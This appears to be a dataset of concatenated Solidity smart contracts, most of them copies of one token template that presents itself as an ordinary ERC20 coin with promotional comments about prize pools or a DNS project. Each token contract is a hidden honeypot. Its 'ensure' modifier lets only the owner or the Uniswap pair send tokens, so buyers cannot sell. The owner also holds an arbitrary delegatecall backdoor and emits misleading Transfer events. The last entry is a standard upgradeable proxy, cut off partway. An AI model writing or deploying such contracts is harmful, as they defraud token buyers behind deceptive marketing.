_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Potentialcoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*ByteDNS is a new generation of distributed DNS system based on blockchain and smart contracts.
* It aims to solve the problems of the traditional DNS domain name system being easily attacked, centralized monopoly, and privacy leakage. In addition, ByteDNS has the functions of NFT domain name investment, transaction, and resolution.
* ByteDNS created BitUID, an all-netcom distributed Internet user identification system. Through smart contracts, users can directly use TOKEN to purchase membership services and protect their private information and membership rights. Next, BitDNS will develop a blockchain version of Appstore and website navigation , Around the domain name resolution entrance and BitUID massive users, aggregate a new generation of dWeb4.0 applications, such as: distributed website, the most encrypted mailbox, instant messaging, social network, video conference, distributed information flow, short video, and other distributed business.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract StandardToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
European Union coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract EuropeanUnioncoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2020-11-1
*/
/**
* Galaxy swap
* Initial total 1000
* 24-hour lockup
* The maximum bonus is up to 20ETH
*/
/**
* Loyalty Award: 2ETH
* The first person who purchases more than 1ETH in a single purchase will receive this reward
*/
/**
* Currency ranking reward: 13ETH
* The first prize: 6ETH + 10% prize pool
* Second place reward: 3 ETH + 5% prize pool
* Third place reward: 1 ETH + 2% prize pool
* Fourth to tenth place: reward 0.5ETH
*/
/**
* Lucky reward
* 10 random draws, each will get 0.5ETH
*/
/**
* Reward distribution time: within 24 hours
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Galaxyswao {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity 0.5.14;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
